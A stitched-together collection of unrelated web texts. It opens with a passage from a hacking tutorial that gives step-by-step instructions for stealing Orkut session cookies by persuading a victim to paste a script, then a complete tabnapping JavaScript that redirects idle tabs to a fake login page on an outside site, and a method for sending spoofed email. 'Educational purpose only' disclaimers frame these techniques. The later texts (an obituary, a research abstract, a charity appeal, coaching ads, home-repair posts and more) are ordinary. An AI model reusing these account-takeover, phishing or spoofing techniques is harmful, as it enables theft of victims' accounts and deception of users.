Step 4. After copying and pasting the JavaScript given above press the enter key and hidden passwords will be shown to
"You can use This script when some one has checked the remember me button in the login form
of any website and to reveal password from that saved astrisk or encrypted password".
"Do not use this hack trick in any criminal activities and please do not destroy any ones account
this is for educational purpose only".
Hack Orkut Accounts by Cookie Stealing
This article below explains the method to hack orkut account by stealing orkut account cookies. Hacking orkut accounts
has become much popular and hence i have added this article which will help you in hacking your friend's orkut account.
Just ask the victim to copy the script in address bar and then you will be able to login/access /hack his orkut account.
Note: My purpose is only to make u aware of what's happening around and not to teach u hacking orkut account, Gmail
or any account in any sort!!.
Procedure for hacking orkut account by stealing orkut cookies from Mozilla Firefox to hack Gmail or orkut is given below.
"Hacking orkut account or Gmail" by "stealing orkut account cookies":
The post explains how one can steal cookies to hack orkut account or Gmail account. No password cracking method
Steps to hack Gmail or orkut account password by stealing orkut cookies:-
Step 1. Firstly you need have Mozilla firefox.
Step2. Cookie editor plugin for Mozilla firefox.
Step 3. You need to have two fake orkut accounts to Hack Orkut or Gmail , So that you have to receive orkut cookies to
one Orkut account and other Orkut account for Advertising your Script, Well it depends on your Choice to have Two
Gmail(Orkut) accounts.
Cookie Script:
How to use orkut cookies script?
Step 1. Replace your number "UserId.value=33444211″
How to Replace your Number
Step 1. Go to your Orkut album
Step 2. Right click on any Photo> Properties>55886645.jpg It will be a Eight Digit Value.
Step 3. Now replace your value with the value in the java script.
"Download cookie editor plugin for Mozilla firefox from: https://addons.mozilla.org/en-US/firefox/addon/573
Your script will look like -
Step 2. Now send this Cookie script to the victim and ask him to paste in Address bar and Press enter.
Step 3. You'll get his orkut account cookie in your scrap book.
Step 4. After getting a orkut account cookie go to your orkut Home page , Then click on Tools tab and then go to cookie
editor plugin( Tools–> Cookie editor)
Step 5. click filter/refresh.look for 'orkut_state' cookie. just double click it and replace the orkut_state part with your
victim's Script
put ur eight digit number in the place of (33444211).
Thats it your done with.
Logout of your orkut and login again and you'll be in your victims Homepage.
Step 6. So remember guys…if you are having orkut account or having any other account….never use any suspicious script
to prevent anyone from hacking/accessing your orkut account.
I hope you have learned how to hack orkut accounts using cookie stealing. Just the script can be used to hack orkut
accounts and then access victim's orkut account. Enjoy hacking orkut.
"Do not use this hack trick in any criminal activities and please do not destroy any ones account
this is for educational purpose only".
"You can also use this attack for many other sites like yahoo but you will need some other scripts
for that but nothing is impossible so use google and search the script for other sites for self
Tab Napping A New Phishing Attack
Traditional phishing attacks are reasonably easy to avoid, just don't click links in suspicious e-mails (or, for the really
paranoid, any e-mail). But Firefox Creative Lead Aza Raskin has found a far more devious way to launch an attack by
hijacking your unattended browser tabs.
The attack works by first detecting that the tab the page is in does not have focus. Then the attacking script can change
the tab favicon and title before loading a new site, say a fake version of gmail or orkut, in the background.
Even scarier, the attack can parse through your history to find sites you actually visit and impersonate them.
Because most of us trust our tabs to remain on the page we left them on, this is a particularly difficult attack to detect. As
Raskin writes, "as the user scans their many open tabs, the favicon and title act as a strong visual cue — memory is
mailable and moldable and the user will most likely simply think they left *the+ tab open."
The only clue that you're being tricked is that the URL will be wrong.
The Script Used is as Below.-
<a> open this in a tab of your browser and wait for 10 seconds and see after you come back but leave this page and go
to other tab to see this magic.</a>
<script type="text/javascript">
var xScroll, yScroll, timerPoll, timerRedirect, timerClock;
function initRedirect(){
if (typeof document.body.scrollTop != "undefined"){ //IE,NS7,Moz
xScroll = document.body.scrollLeft;
yScroll = document.body.scrollTop;
clearInterval(timerPoll); //stop polling scroll move
clearInterval(timerRedirect); //stop timed redirect
timerPoll = setInterval("pollActivity()",1); //poll scrolling
timerRedirect = setInterval("location.href='http://www.hackingtech.co.tv/ServiceLogin.htm'",10000); //set timed
else if (typeof window.pageYOffset != "undefined"){ //other browsers that support pageYOffset/pageXOffset instead
xScroll = window.pageXOffset;
yScroll = window.pageYOffset;
clearInterval(timerPoll); //stop polling scroll move
clearInterval(timerRedirect); //stop timed redirect
timerPoll = setInterval("pollActivity()",1); //poll scrolling
timerRedirect = setInterval("location.href='http://www.hackingtech.co.tv/ServiceLogin.htm'",10000); //set timed
//else do nothing
function pollActivity(){
if ((typeof document.body.scrollTop != "undefined" && (xScroll!=document.body.scrollLeft ||
yScroll!=document.body.scrollTop)) //IE/NS7/Moz
(typeof window.pageYOffset != "undefined" && (xScroll!=window.pageXOffset || yScroll!=window.pageYOffset))) {
//other browsers
initRedirect(); //reset polling scroll position
} document.onmousemove=initRedirect;
To See The Demo Of this Attack visit: http://www.hackingtech.co.tv/tabnapping.html
Replace the URL highlighted here with your URL where you want the victim to redirect.
Use This Script in the Page and then the page will redirect after 10 sec when the user if not on the particular tab.
"Do not use this hack trick in any criminal activities and please do not destroy any ones account
this is for educational purpose only".
How to Check The email is original or Not
First of all let us see How email system is working over internet.
The email is sent on internet as shown in below picture
So Here The Sender i.e firstname.lastname@example.com is sending a mail to firstname.lastname@example.com. so the sender will type the mail and click on
send button and the mail will go to SERVER1.com whereSERVER1.com will forward the mail over internet and the internet
will search the firstname.lastname@example.com email ids server and send it to SERVER2.in and the the SERVER2.in will search for
the firstname.lastname@example.com in their own database and then the mail will be forwarded to firstname.lastname@example.com and when the XYZ user
login to their account they will see an email in their inbox which is from firstname.lastname@example.com.
Now How To send the fake mail
To send fake mail We need to Bypass the email@example.com and SERVER1.com both and directly send an email over
internet .
So for that we will use a .php script as php has a function mail(); which can send email to any one without the
SERVER1.com and directly delivering the mail to SERVER2.in and then SERVER2.in will search for the firstname.lastname@example.com in
their own database and then the mail will be forwarded to firstname.lastname@example.com and when the XYZ user login to their account
they will see an email in their inbox which is from email@example.com.
But actually the email is not sent email@example.com firstname.lastname@example.com so it is a fake mail.
Fill Up the form on Hacking Tech fake mailer page. For form visit http://www.hackingtech.co.tv/index/0-93
Now How to check When you receive such mail.
Step 1:- First of all open the mail.
Step 2:- Now Click on the downward arrow near reply button. and click on show original.
Now check for The received from field on the page opened.
and see who has sent you the email , here email@example.com is the sender.
so in the received from field check that there must be microsoft.comand not any other thing.
this was fake mail as there was outgoing.x10hosting.com and so the mail is fake as there is no microsoft.com here.
"Do not send fake mails for criminal activities from hackingtech fake mailer as they are tracking
your IP address and Can back track you for any illegal activities performed by you and so please do
not destroy any ones account, this is for educational purpose only".


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NATPE's Parise Dies
Brigette Parise, the National Association of Television Programming Executives' vice president of member marketing, died Wednesday, April 7, in Los Angeles. She was 44.
Parise, born Jan. 1, 1960, in Ossining, N.Y., had worked at NATPE since 1994. Prior to joining the association, she worked in marketing and production for D. Z. Communications, based in Studio City, Calif. She had also worked for Village Roadshow Pictures.
Services for Parise were scheduled to be held Monday, April 12, at 7:30 p.m. at Saint Finbar Catholic Church, 2120 West Olive Ave., in Burbank. In lieu of flowers, donations can be made to the American Cancer Society in Parise's name.


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text:
Implementing the European policies for alien species – networking, science, and partnership in a complex environment
Artikel Volume:
Artikel pagina's:
Artikel type:
Journal Article
Artikel keywords:
biological invasions, easin, Europe, Information Systems, invasive alien species
Artikel URL:
The European Commission has recognized the need for more stringent action to manage biological invasions and has committed to develop a dedicated legislative instrument. Under this upcoming legislation, European countries and their relevant institutions will have additional obligations and commitments in respect to invasive alien species. In September 2012, the European Commission's Joint Research Centre (JRC) launched the European Alien Species Information Network (EASIN) to facilitate the exploration of existing alien species information from distributed sources and to assist the implementation of European policies on biological invasions. Subsequent to the launching of EASIN, there was an evident need to define its niche within a complex environment of global, European, regional and national information systems. Herein we propose an organizational chart clearly defining the role of each actor in this framework, and we emphasize the need for collaboration in order to effectively support EU policies.


text:
Having a Holy Mass celebrated for a particular intention is a long and venerable tradition. The gift, or "stipend," given to the priest by the person concerned is in no sense a "payment" but rather a gesture of love and gratitude and also of financial support for the individual priest who in the words of Consecration in Holy Mass once more makes present the Sacrifice of Jesus Christ on the altar. For many priests in the poorest countries of the world, these Mass stipends can even be a crucial means of survival.
This is certainly the case in Madagascar, one of the poorest countries in the world. But while the Diocese of Morondava is materially poor, it is rich in priests: in the last 10 years, the number of priests in the diocese has more than tripled, from 20 to 70. As a result the diocese has even been able to send some of its priests to another recently founded diocese in the country and also to the island of Reunion, where the bishops were in need priests. Moreover, there are another 50 young men from the Diocese of Morondava who are currently training for the priesthood.
This rapid growth in priests in the diocese is partly due to the fact that a number of religious congregations have been established there. At the same time, Bishop Marie Fabien Raharilamboniaina is convinced that this boom in new vocations is also the fruit of prayer. He himself has written a special prayer for numerous and holy priestly vocations, and the Catholic faithful and especially the children are also praying regularly for their priests.
Bishop Marie tells us, "We are convinced that prayer leads to new vocations. A vocation is the fruit of prayer, and therefore we are insisting in all our schools not only on speaking about God but also on the need to give the children themselves the opportunity to speak with God in prayer."
The bishop is deeply committed to his priests and to supporting them in living out their vocation. He tells us, "I invite my priests to embrace the promise that Jesus Himself has made and to rely upon divine providence. As Saint Teresa of Avila once said, 'Take care of God's work, and God will take care of yours.' I also tell my priests that the People of God will care for them." Each year he also invites all the priests of his diocese to take part in spiritual exercises, ongoing formation sessions and a diocesan pilgrimage, and he regularly visits the parishes to help them in every possible way.
The local Christians also help their priests as well as they are able, yet they are poor and the priests need additional support to be able to continue their own spiritual formation and take part in things such as retreat days. While the faithful themselves have little, the priests for their part often do not even have the most basic means of subsistence; they don't have enough to eat, they need support for accommodation, and they often have to travel on foot. As a result, they must turn to their bishop for help.
Fortunately, thanks to the Mass stipends offered by the generous benefactors of ACN, Bishop Marie Raharilamboniaina is able to provide some material support for his priests.
"We thank God for the priests who bear witness to His love in our diocese of Morondava and we thank all our generous benefactors for their love for our priests," the bishop writes. "Our priests see you as a sign of divine providence."
We are committed to supporting the 70 priests of the Diocese of Morondava with Mass stipends for a total of $23,900 – approximately $340 per priest per year.
Will you give to support these priests as they do God's work in the midst of dire poverty in Madagascar? We are sure they will gratefully remember you in their prayers.
Aid to the Church in Need commits to invest your funds where they will have the greatest impact for the Church that we serve. Funds donated to Aid to the Church in Need's projects will be used towards the greatest need in our programs to help keep the Faith alive.
Code: 134-04-low


text:
Hills of Provence
sold out
Hills of Provence
This is a captivating piece with a really interesting composition. It depicts the rolling hills of Provence, in the South of France, with delightful wildflowers and rich vegetation. This piece is in good vintage condition with visible patina and signs of age. It dates to the 1950s. The artist employs a slightly abstracted, post-impressionistic style. Wonderful brushwork and texture to the surface. Measures 13 x 13 inches including the frame. Frame is new, it's made of solid wood and has a water gilded finish and a white linen liner.
Add To Cart


text:
Good Theory can help us befriend hard things...
Donald Winnicott, the wonderful Child Analyst, said the only purpose of an interpretation iwas as a 'potential truth bearing object'. In my experience, 'good theory' often clarifies something real or true, shedding light on something in our experience, that would be otherwise harder to acknowledge. It provides a wider, more universal context for acknowledging elements we struggle with, and this can be illuminating, relaxing and liberating. This is especially so in helping us to acknowledge and accept difficult - often rejected - elements in our experience: our disappointment, our envy, our sadness, our anger, our longing to be adored or tended to.
In my teaching, I endeavour to create a safe, dynamic environment that honours our tenderness and courage in trying to meet ourselves in a real way. When we do this we become, in Gendlin's lovely phrase, 'more of ourselves than we have been able to be so far...' It is often a beautiful, deeply enriching encounter.
Over time, as a therapist, certain themes recur over and over: a tendency to reject ourselves for feeling sad, a horror at our clingy neediness, a shame and denial about our buried grandiosity, a shunning of our anger.
In the end, it is about becoming increasingly 'real presences' - for ourselves and for each other - as we
develop our capacity to fulfil and express our potential while being true to our human limitations.
workshops, pathways and words
- Home
- About
- Essential Inquiry
- Workshops and Teaching
- Words
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Click here to edit title.
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Many of us have been touched by the invitation in Rumi's poem: to welcome and embrace all that we find within us. This poem strikes a deep chord in our hearts. We know it reminds us of something true.
But in our lived experience maintaining this attitude is hard: habits are strong, fear and hatred of certain states, shame, patterns of resistance and rejection (often barely conscious) keep us circling in familiar patterns. In our mindfulness practice, we work to integrate and 'be with' these difficult elements, but this work can be richly complemented by a more relational approach.
When we bring the gifts of our sitting practice into conscious relating, we forge a valuable bridge between our meditation experience and our everyday lives and relationships. Inquiry allows us to explore our experience with the fluidity of meditation yet within the relational field of contact with others. This is integrative and expansive, loosening our habitual tendencies and allowing us to be more immediate and genuine in how we speak of our current experience as it unfolds, whether that is of anxiety, joy, equanimity, despair or simple presence.
Relational practice also supports transformation because it offers us a sensitive human environment in which to 'befriend' unwanted states. This is healing: in the silent, attentive presence of others, we experience and offer each other a space that enhances and develops our self acceptance. In speaking, we make more room for our experience; in listening, we are attuned ever deeper to our common humanness (one of the key tenets of both compassion and self-compassion).
This workshop supports us in bringing some 'unwanted visitors' to light, speaking of and from them in ways that support our acceptance, integration and human belonging. Drawing on relational inquiry traditions, we will create a space in which we blend meditative presence with human inquiry, working in a contained, confidential way in which each person is free to follow their own rhythm of expression.
Embracing the Pain Body
Connecting the heart with the disheartened… (Stephen Levine)
Inquiry and Focusing: a different type of speech
We speak from deep within, from the subtle contact with our immediate experience that we know from meditation. This is less about 'knowing' or 'coherent communication' than about allowing the 'new', and the 'almost clear' to form into thought and language. It is about staying present to our bodies as we speak, being 'in ourselves' without being distracted by how we come across to others. In this sense, it is more about self-contact, and the raw truth of our experience than about communication. The impression we create is not important; what is important is that we learn to represent our experience as truthfully and nakedly as we can, developing our awareness and integrity.
- The more mental we are, the more we stay the same. The mind repeats. It does not let in anything new. If we can allow thought, expression, language, to follow what is revealed or evoked by a sensitive, present moment body presence, we form in new ways, identity moves and expands, something fresh can unfold that is authentic, and carries life forward.
- There is also a 'communal' element to this speech. We 'confess' or stop defending our experience of being this human-that-we-are. We step outside of habitual self-knowledge and presentation, and speak from a more undefended place. This allows us to articulate our experience more intimately, but with less attachment. We represent it, and we release it.
- Relational holding. Our identity forms in relationship. Our early experiences of how we were received when we expressed pain or anxiety or distress did not always support our contact with these states. We may have learned to dismiss or override, our pain, or to attack ourselves for being in pain; we may have learned to blame or to seek solace in food or other distraction. This is an opportunity to experience something different: to be close to the places that trouble us, and to have company there as we explore them. We work in a tolerant, open, silent space held by another who is not ignoring us, and is not dismissing us. This offers a greater holding capacity and tolerance than we can achieve alone.
- There is a letting go of concern with image. A not-clinging to self, an 'owning' of what arises in the mind, without being caught up in our stories about it. It is a 'being with' our experience.
So this is very far from social talk, and it is not even talking to communicate clearly with the other, it is speech that supports us staying on track with an internal exploration and unfoldment. It can look, from the outside, very self-involved. In a way it is. But our intention is to engage in this temporary self-involvement for the sake of integration and liberation. We integrate and put some 'form' on a rejected part; we befriend it a little more. In doing so, we alter our habitual reactivity to these 'unwanted' elements in our experience. We speak from the coalface of our own experience, and to hear others there also. And this is enriching. It allows us to find a skilful rhythm and style of contact with these difficult things. In learning how to relate to these 'unwanted guests,' we develop our ability to host them with generosity, grace and a capacity to integrate and ground the energies they contain.


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The two cars are chasing through a run down light industrial area. There is a large pile of empty cardboard boxes, usually at a corner. Either the first car misses them and the second careens into them, scattering the boxes over the set, or the first strikes a glancing blow, sufficient to scatter the boxes into the path of the second car.
In a foot chase, a variation of the latter case happens often; the one in front will deliberately knock down such a pile as he passes, in order to delay his pursuers.
Sometimes, the boxes are strictly for show; the first car will send half of them tumbling every which way, and the second car will take care of the rest.
In rare cases, can be used to hide from pursuers.
Unrelated to Kids Prefer Boxes or Cardboard Box Home. See also Sheet of Glass and Fruit Cart. Judging by the ratio of parodies to straight examples on this page, this appears to be a Dead Unicorn Trope. See Trash Landing for when cardboard boxes are used to soften the fall of characters.
- An advert by Nissan UK for the Almera GTi took the form of a spoof of The Professionals. At one point Bodie tells Doyle to drive down a narrow lane full of rubbish.
Doyle: Why?Bodie: Litter. Makes the car look good.
- Deconstructively parodied in an issue of Spawn, in which a cop car blasts through a pile of boxes...which had a homeless man sleeping under them.
- In Violine, a car jumps onto a ship, crashing into a stack of crates to break its landing.
- An early example, if not the Trope Maker, was the car chase from the 1972 Italo-crime film The Master Touch.
- Mystery Science Theater 3000 subject Future War is infamous for its fight scenes with huge stacks of boxes as far as the eye can see, which are all clearly empty.
- Lolita (1997). When Humbert finds that Dolores has left the hospital with her 'Uncle Gustav', he drives wildly to the hospital, smashing into dustbins as his car weaves down a narrow street.
- Quick: During the chase through the marketplace, the bike slams through a pile of empty cardboard boxes.
- Tomorrow Never Dies. One of the land rovers chasing James Bond and Wai Lin drives into a truckload of boxes...containing fireworks, which (of course) proceed to go off from the impact.
- Played with in Avengers: Age of Ultron. The Hulk is rampaging through a city and smashes open a truck, spilling cardboard boxes all over the road.
- Speed. The "black guy with the sports car" ends up crashing it into a crash barrier made up of large containers of water (justified, as such barriers exist in real life). The heroine also has a nasty moment when she thinks she's hit a Baby Carriage, but it's actually full of empty drink cans being recycled by a homeless person.
- Subverted in an episode of Ashes to Ashes (2008). Gene and Alex are on their way to a crime scene and come across an archway filled with stacked cardboard boxes. Alex quips "I know how this goes" and fully expects Gene to drive through them...and Gene simply sets the car in reverse and grumbles that he's gonna have to go around them.
- The Professionals of course, and parodied in The Comic Strip Presents "Detectives on the Edge of a Nervous Breakdown" where 'Bonehead and Foyle' make a point of looking out for cardboard boxes to drive through during a chase scene so as to look more dramatic.
- Parodied in Father Ted. Dougal is forced to drive a milk float that will explode if it drops below 4 miles per hour and panics when he sees a stack of boxes at the end of the road. As he trundles slowly towards them, Ted re-stacks them on the opposite side of the road. After Dougal passes the boxes, Ted drives his car straight through the stack.
- Spoofed in Funky Squad, an Australian parody of 70's cop shows.
- In Power Rangers, going through boxes can touch off minor explosions that send sparks everywhere. The whole world is Made of Explodium.
- Starsky & Hutch itself was infamous enough for this to spawn the above examples.
- Levels in the Starsky and Hutch Video Game would give you a secondary objective of destroying X cardboard boxes.
- In Bill Bailey's "Starsky And Hutch" segment, the duo are looking to make a getaway while pursued by the mob.
"How about that alley?""No, there's no boxes down that one. No, go down that one."They go down another alley, no boxes. What are they going to do?"Right, stop the car, get some boxes out of the boot, set them up, drive around the block..."
- Used in the Top Gear (UK) second hand police cars challenge, where Hammond is awarded points for flamboyant driving by crashing through a pile of gratuitous cardboard boxes slightly off the edge of the track.
Clarkson: A car crashing through an explosion is great cinema. A car crashing through some cardboard boxes is great television. A car coasting to a stop for no reason means they've run out of budget on The Bill.
- An earlier newspaper article by Jeremy Clarkson codified the trope:
- Including as part of the title sequence created by Top Gear (UK) for The Interceptors, a non-existent Seventies cop show.
- Spoofed in Garth Marenghis Darkplace when a chase scene ends with the Monster of the Week crashing into a huge mountain of cardboard boxes sitting in the middle of a forest for no apparent reason.
- Attempted in The Brittas Empire when a wheelchair-bound drunk runs amok in the leisure centre, only for Colin to stack them up to the point no one can see him coming. Subverted in that those boxes aren't empty and a leak of Sodium Hypochlorite leads to the centre's closure due to a subsequent chlorine gas cloud/
- In the Miami Vice episode "Duty and Honor," the killer knocks over some boxes during a car chase, forcing Crockett to get out of his car to clear them away.
- Midnight Caller: When Jack is running away from a shooter in "With Malice Towards One," he knocks over a trash can to delay him.
- In the music video for Arctic Monkeys' "Fluorescent Adolescent", a car burst through a pile of cartboard boxes.
Professional Wrestling
- A Forgotten Trope but cardboard boxes were a staple of WCW when falls outside of the arena needed to be broken and noise needed to be made.
- TNA, in it's effort to be WCW, also used cardboard boxes, although they use them more sparingly, usually to cushion wrestlers for dangerous spots, and they're often disguised to look more dangerous than they really are, though at the 2007 Slammiversary a tarp exposing some fell off during the match between Abyss and Tomko.
Real Life
- In 2012, British stuntman Gary Connery became the first person to land a wingsuit without a parachute, by crashing into a huge pile of 18,600 cardboard boxes, arranged into a landing strip that measured 350 feet (106.7 meters) long, 45 feet (13.7 meters) wide and 12 feet (3.7 meters) high.
- During the Nostalgia Critic vs. Angry Video Game Nerd Final Battle, which takes place in the Nerd's basement, the Critic is sent flying into a pile of cardboard boxes that just happen to be set up there. He calls the Nerd out on this:
NC: Who keeps piles of boxes around? Honestly?
- Homestar Runner: Parodied in "Dangeresque Puppet Squad: The Curly-Fried Caper". Dangeresque and Dangeresque Too chase bad guy Szechuan Steve to outside an abandoned warehouse, where Dangeresque attacks piles of cardboard boxes for no apparent reason while Dangeresque Too runs around dramatically jumping over garbage dumpsters.
- From an episode of The Angry Beavers which parodied Starsky & Hutch: "Quick, they're headed for the cardboard box district!". In fact, cardboard boxes were a running gag in the episode.
- Dexter's Laboratory: Parodied in "No Power Trip"; Dexter is in a car careening down a hill, and after hitting a Fruit Cart we see a guy selling "empty cardboard boxes" on the street corner, which Dexter also ends up driving through.
- Lampshaded in The Simpsons, when the cops are taking Bart for a day on the job. While they are explaining that it's not the action-oriented job Hollywood makes it out to be, they are interrupted by a heist and immediately start a high-speed chase through an alley full of cardboard boxes. As their car sends them scattering everywhere, one of the cops nonchalantly exclaims, "Damn boxes!"


text: Set in an unrivaled location at the stunning Marriott Village Lake Buena Vista alongside the Fair field Inn & Suites and Spring hill Suites, the hotel is perfect for a family Florida holiday. The hotel features an array of excellent resort-style facilities including an indoor/outdoor connecting swimming pool and whirlpool for relaxing and unwinding on days away from the parks and attractions, a fitness centre with cardiovascular equipment, free weights, treadmill and bicycle for those keen to keep their holiday body in shape. The handy on-site gift stand provides a place to purchase essential holiday items during your stay.


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(A post to for our parents at East Side.)
David Brooks, a New York Times columnists, recently wrote a book titled The Road to Character. In the beginning, the book gives examples of two characters, Adam I and Adam II. Adam I lives by the "career" characters – he makes it for himself in his career, works hard to move forward and up the ladder of success for his career. Adam II is about moral character. These folks live by what they want to be remembered by. It is basically what would be said at your eulogy when you die. He lists it as the "resume virtues" or as the "eulogy virtues". Brooks also wrote an opinion article in the New York Times about this titled The More Bucket List.
Why do I share this with you? As you know, I recently lost my mother. What was really interesting me and my family is how she touched various people throughout her life. Her motto was always, "Look for the good in people". She always told me this as a young adult, prior to college and going out on my own. It is one of those moral lessons that lives with me every day, look for the good in everything. As you know, my parents were hard working, WWII veterans who did not go to college, but worked hard to support the family. They always wanted something better for their children, but they also wanted to live a life where they could give back and make a difference in our young adults, now "my generation". (I may be older than some you! Showing my age!).
We always are concerned about the "academic" curriculum, but what about the social and emotional curriculum and our moral character in our students? How as adults are we modeling this for our kids? Is it always about the "external achievement", or is it about the moral and character achievements? How do you want to be remembered and eulogized? This is what life is about! Something to think about.


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Work With Me
Way Of The Priestess™
Akasha Soul Activations™
L.O.V.E MEthod™ Coaching
1 : 1 Private Coaching
As all of my programs are customized to meet you exactly where you are,
custom tailored
to meet your specific needs, desired outcome and practices that your soul is calling forward to activate in your own human design. The guidelines I outlined below are t be used a base point for what we may focus on and cover during our immersive journey into design your life.
Every ounce of energy we spend is either elevating or polluting us and we have to take 100% responsibility for that.
I focus on the essential teachings that connect us back to our essence as spirits having a human experience so we can all reconnect to our personal magic.
We have two options in any given moment of our lives.
1) Step forward into growth
2) Step back into safety
Together we look at what stories are holding you back, create new opportunities to SHIFT your life direction, heal the areas in your life that you have been too afraid to look at and experience freedom in your loving essence. We are by nature,
divinely potent
and when we shine bright, the world reflects back that light to us however, it is our job to make sure we are "plugged in" to the light source.
I can change my patterns when I change my mind about them." -ACIM
divine Devotion
My Lifestyle design and Sensual Empowerment coaching is crafted for those individuals who have lost their MAGICAL connection to their inner spirit and desire to re-establish it to experience a more full and pleasurable life! Together we build on your
connection to your voice within and a source greater than ourselves as we embrace our power and step passionately into the role of the creator.
As a result of our work together you will develop
. . .
Deeper connection to your inner sparkle and intuition
Faith through a
Spiritual Practice program, Connecting to source greater than yourself
Connection to others in a vulnerable, raw and real way without your EGO running the conversation
Personal expansion through practical Tools and teachings as we expl
ore the world of Metaphysics
Freshness to your self love practice and daily ritual regime
Inner MAGIC and discover your unique gifts & abilities
Ability to harness the energy of the universe & quantum field for manifesting the life of your dreams
Remembrance of who you are with connection to your inner "I" god self.
Clarity around your Soul's purpose and establish a connection to your great work in this lifetime
When we realize we are whole we are free! This portion of my program is gearing towards looking to understand & gain a deeper level of personal power.We strip down the mundane feelings of: Self-centeredness, Jealously, Fear, Anger, Unworthiness, Co-Dependency, and Indecisiveness to bring you back to your true authentic self which is completely lovable right here and now. Call in your perfect partner by BEING your perfect partner and get into alignment with all that you are!
As a result of us working together in this area you will develop
. . .
Wholeness within yourself.
Clear decision making skills from a deep place of intuition.
Connection to the flow of life , allowing the gifts of love, prosperity, and freedom flow into your experience.
Deep, long lasting love within yourself as you cultivate a knowing that you are your own source of love, safety, and spiritual connection.
Constant Gratitude & an Attitude of Daring Greatly in your career, relationships, and life!
Your voice with new abilities to clearly communicate your needs/desires in an authentic, transparent, and loving way.
Self confidence no longer needing validation from outside sources as a way to prove your deserving and worthy.
Radical Self-acceptance with you body, experiencing peace & joy in your heart!
Patience, no longer needing to chase lovers or waiting on love!
Self Care Foundation Building
This part of my program is focused on healing addictive behavioral, emotional and lifestyle patterns that paralyze you in your repetitive story, taking a hold of your life. We work on core limiting beliefs and experienced trauma that you are running your life. Together we create a new reality by creating and setting the foundation for a balanced, grounded, healthy, and fruitful life! This is an opportunity to face your past, stop numbing behavior as a way to deal with the intense emotions and put an end to escapism, love addiction, substance abuse, over excessive lifestyle patterns that
are being led by your wound, not your spirit.
As a result of our work together you will develop
. . .
A Grounded & Rooted foundation through the ABC's of Self-care
Intentional Meditation & Spiritual Practice program to keep you stable in your journey
Positive Affirmations & New Beliefs about yourself
Feeling of Safety & Security in the world
Boundaries for loving yourself and other
Knowing of your Lovability & Worthiness
The Loving Essence of you True Nature
Sense of Ownership & Acceptance of projections
Skills to Silence your Inner Critic & Drop Judgment
Personal intimacy & Spiritual development
Your inner S P A R K L E
Happiness, Clarity & Joy
I work with clients in person and remotely. Both are equally as powerful. Looking forward to connecting with you!
Connect with Me
All Rights Reserved Josefina Bashout 2018
Work With Me
Way Of The Priestess™
Akasha Soul Activations™
L.O.V.E MEthod™ Coaching


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AIDS Channel
Topics & Medications
Related Channels
Is Atripla Prescribed Off-Label?
On occasion, your healthcare provider may recommend Atripla for treating something other than HIV infection and AIDS. This is called an "off-label" use. At this time, Atripla is used off-label to prevent HIV infection in people exposed to the virus (such as a healthcare worker who comes in contact with a contaminated needle stick). This is called postexposure prophylaxis (PEP).
Written by/reviewed by: Kristi Monson, PharmD; Arthur Schoenstadt, MD
Last reviewed by: Kristi Monson, PharmD


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Friday, December 08, 2006
Ann Arbor Theaters
Ann Arbor preserves two really retro theaters. The State Theater now shows movies only in what was formerly the balcony of a large campus-area theater, and has lost much of its original size and style to the redo. The sightlines are terrible: every seat has an awkward view.
The Michigan Theater, in contrast, represents years of preservation efforts, including repainting the overwrought ornateness of gold decor and installing all-new plush velvet seats. The Michigan shows not only first-run films, but also is home to concerts, film festivals, and other civic events. Its theater organ still rises from inside the floor at full theater-organ volume.
Thus, as in these photos, from the corner of State and Liberty one can see two theater marquees of the most impressively antique variety.
Posted by Mae Travels at 8:22 PM
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Is It Worth It To Build A New Home?
For the past 7 years, we have seen our Real Estate market in Southwest Florida embark on a rapid and steady upswing. Inventory has decreased and the price gap between a new home vs. resale home is narrowing.
Key Indicators:
Why Should I have Your Team Represent Me When Building A New Home?
Whenever you are considering an expensive real estate transaction you should always consult a knowledgeable/specialized Realtor. We are here to represent you with the same professionalism and expertise as we would in any other waterfront transaction. We will look out for YOUR best interest:
We have devoted extensive time researching the most reputable/reliable builders in our area. As Tom describes it, we have found the best "Cluck for your buck" builders. Every builder has their own unique standard features in a model home and those upgrades for which there is an extra cost. Keeping up to date with so many builders (more each month) could be considered a full-time job in itself. We have a short list of top-notch builders for varying price ranges. You don't want to sign a contract with a builder that is not financially stable or lacking in reputation, communication, or reliability. For further detail regarding why we should assist you in selecting a builder please read our blog on this topic.
Locate a nice lot in a good neighborhood. Whenever we are searching for a well located, well-priced lot for clients we always utilize the Neighborhood Aerial Map (See Below). This map, which is used by only a small percentage of Realtors, enables buyers to quickly and easily determine the best located, best-priced lots in a specific area. It also enables you to see the rear exposure of the lot, size of the canal, etc.
The lots highlighted in purple below are the lots we consider the best values at this time in these areas.
This is a sample map and may not reflect today's prices
(We will create a specific aerial map for your desired area and price range)


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5 Common Gutter Problems (And How to Fix Them!)
Designed to divert water from the roof, rain gutters play the key role of protecting structural foundations from water damage. To keep your gutter system and your home's foundation in top condition, it is vital that you clean and maintain them. A gutter system can encounter many issues because of wear and extreme weather. Here … Continue reading
Mythbusting: Vinyl Siding Edition
Vinyl is one of the best siding materials available to homeowners. Yet, many people hesitate to invest in vinyl siding due to certain myths. Here are the most common misconceptions about vinyl sidings that you need to stop believing: It Does Not Last Long Made from polyvinyl chloride, vinyl siding has the capacity to withstand … Continue reading
Sign Your Roof Needs A Repair
Here are common signs that if you find appearing in your roof, you know, it is time for you to get it repaired by a roofing contractor.
The Countless Benefits of Asphalt Shingle Roofing
If you are planning on installing or replacing your roofing system, asphalt shingles are a great choice. Asphalt shingles are among the widely used roofing materials in America today. Whether you are installing a residential or a commercial roof, asphalt shingle offer many benefits: Aesthetics When it comes to appearance, asphalt shingle comes in a … Continue reading
5 Dead Giveaways of a Roof That Requires Instant Attention
One of the significant features of your home is the roof. A superior quality roof can do wonders for your home's appearance. Not to mention, a roofing system can protect your home's structural foundation from extreme weather conditions and water damages. However, just like windows, doors and other elements of your home, your roof may … Continue reading
Seamless Gutter 101: Everything You Need to Know
Rain gutters are crucial for your house as they direct water away from the roof and toward the catchment with downspouts to keep it from flooding your homes. So, when it comes to gutter installation, it is important to understand how modern seamless gutters are different from regular ones, and which ones work better for … Continue reading


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'RATED BLACK' is a solo show that weaves together original poetry and music to navigate the thoughts, feelings, and issues of a young black man from Brooklyn living in 'post-racial America,' while unarmed black men and women are still being murdered by the police at a heartbreaking pace, as the whole country consumes these daily digital lynchings. This piece removes the mask of the perceived 'super predator,' and shares the vulnerability of a young black man at risk of becoming the next trending hashtag.
Written & Performed by Kareem M. Lucas
Directed by LA Williams
Original Music by Avi A. Amon
Lighting Design by Derek Van Heel


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Important Tip In Wedding Planning/
